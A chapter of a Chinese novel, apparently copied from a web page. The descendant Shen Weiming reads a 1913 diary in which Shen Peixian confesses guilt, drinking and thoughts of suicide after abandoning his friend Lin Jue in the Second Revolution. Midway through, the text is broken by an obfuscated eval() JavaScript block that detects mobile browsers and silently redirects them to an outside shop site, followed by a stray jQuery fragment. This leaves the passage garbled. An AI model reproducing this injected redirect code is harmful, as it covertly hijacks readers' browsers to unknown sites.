沈未明在一个旧箱子的最底层，找到了另一本日记。
这本日记，跟之前的那本不一样。
封皮是黑色的。
很旧，很破。
纸页，都发黄了。
而且，有一股，霉味。
还有，一股说不出来的，味道。
像是，眼泪的味道。
又像是，血的味道。
沈未明翻开第一页。
上面写着："民国二年，冬，记于观澜堂。"
民国二年，也就是1913年。
那时候，二次革命刚刚失败。
沈佩弦，应该是刚从上海回来。
沈未明坐在地上，就着天窗漏下来的光，慢慢读了下去。
民国二年，十一月初七。
雪。
今天，我回到了观澜堂。
爹派人去接的我。
我以为，他会骂我。
会打我。
会把我赶出去。
可是，他没有。
他只是，看了我一眼。
然后，叹了口气。
说："回来就好。"
就这么一句话。
我听了，眼泪差点掉下来。
我觉得，我不配。
我不配，他对我这么好。
我是个懦夫。
是个逃兵。
我对不起他。
也对不起，死去的林觉。
更对不起，那些，因为革命而死去的人。
我回来了。
可是，我觉得，我已经不是以前的我了。
以前的那个沈佩弦，死了。
死在了上海。
死在了，江南制造局的战场上。
现在活着的，只是一个躯壳。
一个，没有灵魂的躯壳。
每天，我都把自己关在房间里。
不想见人。
也不想说话。
我怕，别人问我上海的事。
我怕，别人问我革命的事。
我更怕，别人问起林觉。
我不知道，该怎么回答。
难道，要我告诉他们，我逃跑了？
告诉他们，我眼睁睁地，看着自己最好的朋友，去死？
告诉他们，我是个懦夫？
我说不出口。
我只能，躲着。
像个老鼠似的，躲在阴暗的角落里。
不敢见光。
爹什么都没问。
他只是，让我好好休息。
说，过去的事，就让它过去吧。
可是，怎么能过去呢？
林觉死了。
因为我的懦弱，死了。
这件事，会跟着我一辈子。
直到我死。
我知道，我这辈子，都不会原谅我自己了。
娘也没说什么。
她只是，每天都给我做好吃的。
让我多吃点。
说我瘦了。
我看着她，心里更难受了。
他们对我越好，我就越觉得，自己是个罪人。
我不配，他们对我这么好。
佩璋来看过我几次。
我这个弟弟，还是那么老实。
他坐在我房间里，也不说话。
就那么坐着。
陪我。
有时候，给我带点吃的。
有时候，给我带本书。
我知道，他是想安慰我。
可是，他不知道该怎么说。
其实，他什么都不用说。
他能来，我就已经很感激了。
至少，在这个家里，还有人，不嫌弃我。
苏姨娘也来看过我。
她是爹的三姨娘？不对，是二姨娘？
我搞不清楚。
反正，她是爹最喜欢的那个姨娘。
她给我送了点药。
说，是安神的。
让我好好睡觉。
她跟我说，人这一辈子，谁没犯过错呢？
错了，改了就好。
别跟自己过不去。
我听了，没说话。
改？
有些错，是改不了的。
比如，林觉的死。
我能让他活过来吗？
不能。
所以，这个错，我永远都改不了。
我只能，带着它，过一辈子。
我开始喝酒了。
以前，我也喝酒。
但是，喝得不多。
现在，我每天都喝。
喝很多。
喝醉了，就什么都不想了。
喝醉了，就不难受了。
喝醉了，就能暂时忘了，林觉的脸。
忘了，那天战场上的样子。
忘了，我自己，有多么懦弱。
可是，酒醒了之后，更难受。
而且，比之前，更难受。
因为，酒醒了，你就会发现，什么都没有改变。
林觉还是死了。
你还是那个懦夫。
什么都没有变。
只有，头疼。
还有，更深的，绝望。
我也想过，死。
一了百了。
死了，就不用再受这份罪了。
死了，就不用再面对，自己的懦弱了。
死了，就能去见林觉了。
就能跟他道歉了。
可是，我不敢。
是的，我连死都不敢。
我太懦弱了。
连死的勇气，都没有。
我真是个废物。
有时候，我会想。
如果那天，我没有跑。
如果那天，我跟林觉一起，被抓了。
或者，一起死了。
会不会，更好一点？
至少，我就不是懦夫了。
至少，我能像个英雄一样，死去。
而不是，像现在这样，苟且偷生。
每天，活在愧疚里。
活在，自我厌恶里。
生不如死。
我想起了，以前读的那些书。
那些，英雄豪杰。
那些，仁人志士。
他们，在生死关头，是怎么做的？
他们，肯定不会像我一样，逃跑。
他们，肯定会慷慨赴死。
视死如归。
可是，我为什么就做不到呢？
是我太贪生怕死了吗？
还是说，我根本就不是什么英雄？
我只是个，普通人。
一个，怕死的普通人。
以前，我总觉得，自己跟别人不一样。
觉得，自己是个干大事的人。
觉得，自己能为了理想，牺牲一切。
现在看来，都是我自己，想多了。
我跟那些，我看不起的俗人，没什么两样。
甚至，还不如他们。
至少，他们不会假装自己很高尚。
我开始，讨厌自己。
非常，非常讨厌。
我讨厌我的脸。
讨厌我的手。
讨厌我的声音。
讨厌，我身上的一切。
我觉得，我浑身上下，都散发着，懦夫的味道。
都散发着，失败者的味道。
我不想看见自己。
我把房间里的镜子，都蒙上了。
我不想，看到自己那张，懦弱的脸。
有时候，我会自言自语。
跟自己说话。
有时候，是骂自己。
骂自己是懦夫。
骂自己是废物。
骂自己，怎么不去死。
有时候，是为自己辩解。
说，我不是故意的。
说，我只是太害怕了。
说，换了别人，也会跑的。
可是，我知道，这都是借口。
都是，我为了安慰自己，找的借口。
跑了就是跑了。
懦弱就是懦弱。
没有什么好辩解的。
我发现，我越来越像，地下室里的人了。
就是，那个，陀思妥耶夫斯基写的，地下室手记。
我以前读过那本书。
那时候，我觉得，那个人太病态了。
太扭曲了。
我看不起他。
可是现在，我发现，我跟他，越来越像了。
一样的，愤世嫉俗。
一样的，自我厌恶。
一样的，躲在阴暗的角落里。
不敢见人。
也不敢，面对自己。
原来，我以前看不起的，不是他。
是我自己。
只是，那时候的我，还不知道而已。
我把自己关在房间里，已经一个多月了。
今天，我终于，走出了房间。
不是因为，我想通了。
是因为，酒喝完了。
我得去，再买点酒。
我穿上衣服，戴上帽子。
把自己，裹得严严实实的。
像个，见不得人的小偷。
我低着头，沿着墙根，往前走。
生怕，遇到熟人。
生怕，别人认出我。
可是，越怕什么，越来什么。
我还是，遇到了一个熟人。
是以前，私塾里的同学。
他看到我，很热情地跟我打招呼。
"佩弦？你什么时候回来的？"
我停下脚步，抬起头，看着他。
想笑一笑。
可是，我的脸，僵住了。
怎么都笑不出来。
我只能，含糊地，"嗯"了一声。
然后，就赶紧走了。
像逃跑一样。
我能感觉到，他在我背后，疑惑地看着我。
他肯定在想，沈佩弦怎么变成这个样子了？
以前，他不是挺意气风发的吗？
怎么现在，跟个老鼠似的？
我不知道。
我也想知道，我怎么会变成这个样子。
可是，我不知道答案。
买了酒，我就赶紧回了家。
回到我的房间里。
关上门。
拉上窗帘。
把自己，关在黑暗里。
只有这样，我才觉得，安全。
只有这样，我才觉得，自在。
我就是个，地下室里的人。
只配，待在黑暗里。
光明，不属于我。
我喝了很多酒。
又喝醉了。
喝醉了之后，我又开始哭。
哭林觉。
哭我自己。
哭我们，死去的理想。
哭我们，死去的青春。
我想起了，我们以前在一起的日子。
那时候，我们多年轻啊。
多有理想啊。
我们总说，要改变中国。
要建立一个，新的中国。
要让所有的中国人，都过上好日子。
那时候，我们真的相信，我们能做到。
可是现在呢？
林觉死了。
我成了这个样子。
我们的理想，也死了。
什么都没有了。
什么，都没有剩下。
我做了个梦。
梦见了林觉。
他站在我面前，浑身是血。
他看着我，问我："佩弦，你为什么要跑？"
"你为什么，不救我？"
我想跟他道歉。
想跟他说，对不起。
可是，我张了张嘴，说不出话。
我只能，看着他。
看着他，浑身是血的样子。
看着他，失望的眼神。
然后，我就醒了。
醒来的时候，一身的冷汗。
心跳得很快。
我坐在床上，大口大口地喘气。
这个梦，太真实了。
真实得，不像个梦。
我知道，这是林觉，在怪我。
他怪我，抛弃了他。
他怪我，苟且偷生。
他应该怪我。
我确实，对不起他。
从那以后，我就经常做这个梦。
每次，都是一样的内容。
每次，都是林觉，浑身是血地，站在我面前。
问我，为什么要跑。
每次，我都想跟他道歉。
每次，都张不开嘴。
每次，都是一身冷汗地，醒过来。
我知道，这是我的报应。
是我，应得的惩罚。
我活该。
今天，爹找我谈话了。
这是我回来之后，他第一次，正式跟我谈话。
他问我，以后有什么打算。
我低着头，没说话。
打算？
我能有什么打算？
我现在这个样子，还能做什么？
爹叹了口气，说："佩弦，过去的事，就让它过去吧。"
"人这一辈子，谁还没个摔跟头的时候？"
"摔了，爬起来，就行了。"
"总不能，一辈子都趴在地上吧？"
我还是没说话。
爬起来？
说得容易。
有些跟头，摔下去，就再也爬不起来了。
比如，我这个。
爹又说："你要是实在不想读书了，就回来，帮我打理生意吧。"
"咱们家，这么大的家业，总得有人继承。"
"你是长子，这个担子，迟早得你来挑。"
我抬起头，看着爹。
他老了。
头发，白了很多。
脸上的皱纹，也深了很多。
我记得，我走的时候，他还不是这个样子的。
才一年多的时间，他怎么就老了这么多？
是因为，担心我吗？
我的心里，一阵发酸。
我点了点头。
"好。"我说。
声音很轻。
很沙哑。
"爹，我听你的。"
爹看着我，看了很久。
然后，他点了点头。
"好。"他说，"好。"
他的声音，也有点沙哑。
我知道，他是高兴的。
可是，我高兴不起来。
我觉得，我正在，一点点地，变成我以前最讨厌的那种人。
那种，只知道赚钱的商人。
那种，没有理想的俗人。
可是，我有什么办法呢？
我已经，没有资格，谈理想了。
我只能，接受命运。
接受，这个，平庸的，懦弱的，失败的自己。
从那天起，我就开始，跟着爹学做生意。
我学得很快。
毕竟，我是他儿子。
骨子里，还是有他的基因的。
爹说，我很有天分。
比佩璋，强多了。
我听了，没什么感觉。
有天分又怎么样？
会做生意又怎么样？
我还不是个懦夫？
还不是个，逃兵？
这些，都改变不了。
日子，一天天过去。
我慢慢，适应了这种生活。
每天，跟着爹，去铺子上。
看账，谈生意，应酬。
跟那些，我以前看不起的商人，打交道。
说一些，我以前觉得很俗的话。
做一些，我以前觉得很恶心的事。
我发现，我做得还挺好的。
甚至，比我想象的，还要好。
原来，我也可以，变成一个俗人。
而且，还俗得，有模有样的。
真是讽刺。
有时候，我会突然停下来。
问自己：
沈佩弦，你怎么变成这个样子了？
你以前的理想呢？
你以前的抱负呢？
你以前，不是说，要改变中国吗？
然后，我就会笑。
笑我自己。
笑我自己，太天真。
笑我自己，太幼稚。
理想？
理想能当饭吃吗？
抱负？
抱负能让你活下去吗？
改变中国？
你连你自己，都改变不了。
还想改变中国？
真是，不自量力。
可是，夜深人静的时候。
我一个人，躺在床上的时候。
我还是会想起。
想起林觉。
想起我们，以前在一起的日子。
想起我们的理想。
想起我们的，青春。
然后，眼泪，就会不自觉地，流下来。
我知道，我心里，有个地方，已经死了。
那个，有理想的，有热情的，相信正义的沈佩弦。
已经死了。
死在了上海。
死在了，江南制造局的战场上。
现在活着的，只是一个，躯壳。
一个，为了活着而活着的，躯壳。
今天，我在铺子里，遇到了一个人。
是从上海来的商人。
他跟我，谈生意。
谈着谈着，就聊起了上海的事。
聊起了，当年的二次革命。
他说，当年，死了很多人。
很多，都是年轻人。
都是，有理想的年轻人。
他说，可惜了。
那么多年轻的生命，就这么没了。
我听着，没说话。
只是，低着头，喝茶。
我的手，在抖。
茶碗的盖子，跟茶碗，碰得"哒哒"响。
他好像，没注意到。
还在那里，滔滔不绝地说。
我听着，听着。
突然，就觉得，一阵恶心。
我站起来，跟他说，对不起，我有点不舒服。
然后，就跑了出去。
跑到外面，扶着墙，大口大口地喘气。
眼泪，又掉了下来。
都过去这么久了。
我以为，我已经忘了。
可是，没有。
原来，有些事情，是一辈子都忘不了的。
它会，刻在你心里。
刻在你的骨头上。
直到你死。
都不会消失。
我又开始喝酒了。
本来，我已经戒了一段时间了。
我以为，我已经好了。
可是现在看来，没有。
我根本就好不了。
有些伤口，看起来是愈合了。
可是，一碰，还是会疼。
而且，比以前，更疼。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735659|209047||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
因为，你以为它好了。
你以为，你已经忘了。
可是，它没有。
它一直都在。
在你心里的，某个角落里。
等着你，不小心，再碰到它。
然后，再疼一次。
我又开始，把自己关在房间里了。
爹很担心。
他问我，怎么了。
我说，没事。
就是有点累。
爹叹了口气，没再说什么。
我知道，他是关心我。
可是，我没办法跟他说。
我不能跟他说，我又想起了林觉。
我不能跟他说，我又开始，厌恶我自己了。
他不会懂的。
没有人会懂的。
这种痛苦，只有我自己知道。
只有我自己，能承受。
今天，我又梦到了林觉。
还是那个梦。
还是，他浑身是血地，站在我面前。
问我，为什么要跑。
可是这次，我开口了。
我跟他说："对不起。"
"林觉，对不起。"
"我是个懦夫。"
"我对不起你。"
然后，林觉笑了。
他说："我知道。"
"我不怪你。"
我愣住了。
"你不怪我？"
"嗯。"林觉点了点头，"我不怪你。"
"换了是我，说不定，我也会跑。"
"人嘛，谁不怕死呢？"
他看着我，说："佩弦，你别再怪自己了。"
"好好活着。"
"连我的那份，一起，好好活着。"
说完，他就消失了。
然后，我就醒了。
醒来的时候，我满脸都是泪。
我不知道，这个梦，是真的。
还是说，是我自己，编出来，安慰自己的。
可是，不管是真的还是假的。
我心里，确实好受了一点。
也许，我真的该，好好活着了。
不为别的。
就为了，林觉。
为了，那些，死去的人。
连他们的那份，一起，好好活着。
沈未明读到这里，停了下来。
他合上日记，坐在那里，愣了很久。
他的心里，很不是滋味。
他想起了，陀思妥耶夫斯基。
想起了，地下室手记。
想起了，那个，在地下室里，自我折磨的人。
沈佩弦，不就是这样吗？
他躲在自己的，精神的地下室里。
自我厌恶。
自我折磨。
走不出来。
可是，沈未明觉得，他能理解。
真的能理解。
当一个人，发现自己，不是自己想象中的那个样子的时候。
当一个人，发现自己，其实很懦弱，很自私，很不堪的时候。
那种痛苦，那种自我厌恶。
没有经历过的人，是不会懂的。
你会觉得，自己不配活着。
你会觉得，自己做什么，都没有意义。
你会，躲起来。
躲在一个，没有人能看到你的地方。
自己，跟自己较劲。
自己，折磨自己。
这就是，地下室人的痛苦。
也是，沈佩弦的痛苦。
沈未明叹了口气。
他想起了，自己。
他自己，是不是也有一个地下室呢？
他想了想。
好像，有的。
他心里，也有很多，见不得光的东西。
也有很多，他不愿意面对的东西。
他也在，躲着。
躲着，那些他不想面对的人和事。
比如，他的父亲。
比如，他跟他母亲的关系。
比如，他自己的人生。
他以为，他逃到这座宅子里来，就能躲开了。
可是，他错了。
有些东西，你是躲不开的。
不管你躲到哪里。
它都会跟着你。
因为，它就在你心里。
沈未明继续往下读。
后面的日记，内容，慢慢好了起来。
沈佩弦，好像慢慢，从那个地下室里，走出来了一点。
他开始，认真地学做生意。
开始，认真地生活。
虽然，还是会偶尔消沉。
但是，已经比之前，好多了。
他不再，每天都喝酒了。
也不再，把自己关在房间里了。
他开始，跟人打交道。
开始，参与家里的事。
他好像，慢慢接受了，自己的命运。
接受了，这个，平庸的，懦弱的，失败的自己。
可是，沈未明能看出来。
在他的内心深处。
那个伤口，还在。
那个地下室，还在。
只是，被他，用一层一层的东西，盖住了。
他假装，它不存在。
他假装，自己已经好了。
可是，只要一有机会。
只要一碰到那个伤口。
它还是会疼。
还是会，让他，重新跌回那个地下室里。
日记的最后，是民国三年的冬天。
也就是，一年之后。
沈佩弦在最后一页，写着：
"今天，爹跟我说，要给我提亲。"
"对方，是林家的小姐。"
"叫林微。"
"我听到这个名字的时候，手里的笔，掉在了地上。"
"林微。"
"是她吗？"
"还是说，只是同名？"
"我不知道。"
"我希望，是她。"
"又希望，不是她。"
"我怕，见到她。"
"我怕，她问我，当年为什么不告而别。"
"我怕，她问我，林觉怎么样了。"
"我更怕，她已经忘了我。"
"已经，嫁给了别人。"
"我不知道，该怎么办。"
"我只知道，我的心，很乱。"
"非常乱。"
日记，到这里，就结束了。
后面的，都是空白的。
沈未明合上书，坐在那里，愣了很久。
林微。
真的是她吗？
如果是她的话，那后来，他们怎么样了？
为什么，最后沈佩弦娶的，不是她？
发生了什么事？
沈未明的心里，充满了疑问。
他想知道答案。
可是，他知道，答案，不会在这本日记里。
他得，继续找。
继续，从那些故纸堆里，寻找答案。
沈未明站起身，把日记放回原处。
他拍了拍身上的灰。
然后，转身，往藏书楼门口走去。
走到门口，他又回头看了一眼。
黑漆漆的藏书楼深处，好像有什么东西，在看着他。
他打了个寒颤。
赶紧，推开门，走了出去。
外面的阳光，很好。
照在身上，暖暖的。
可是，沈未明的心里，还是凉飕飕的。
他觉得，这座藏书楼，就像一个巨大的地下室。
藏着，沈家几代人的秘密。
藏着，他们的罪。
藏着，他们的痛苦。
藏着，他们的，见不得光的一切。
而他，正在一点点地，走进这个地下室里。
越走越深。
越走，越看不到光。
他不知道，自己最后，会不会也像沈佩弦一样。
被困在这个地下室里。
一辈子，都走不出来。
沈未明摇了摇头。
他不想了。
想这些，有什么用呢？
反正，他已经进来了。
想退出去，也晚了。
他只能，继续往前走。
继续，往深处走。
去寻找，那些，被埋藏的真相。
哪怕，最后，会把自己，也困在这里。
他也，在所不惜。
风，吹过院子里的桂花树。
发出，沙沙的声音。
像是，有人在叹气。
又像是，有人在低语。
沈未明站在院子里，听着这声音。
他好像听到了，很多人的声音。
沈观澜的。
苏婉的。
沈佩弦的。
林微的。
林觉的。
还有很多很多，他不知道名字的人的声音。
他们都在说。
说着，他们的故事。
说着，他们的痛苦。
说着，他们的，遗憾。
沈未明站在那里，听了很久。
直到，风停了。
声音，也消失了。
他才转过身，往自己的房间走去。
他的影子，被阳光拉得很长很长。
在他的影子旁边，好像还有别的影子。
淡淡的，模模糊糊的。
跟着他，一起往前走。
像一群，无声的，同伴。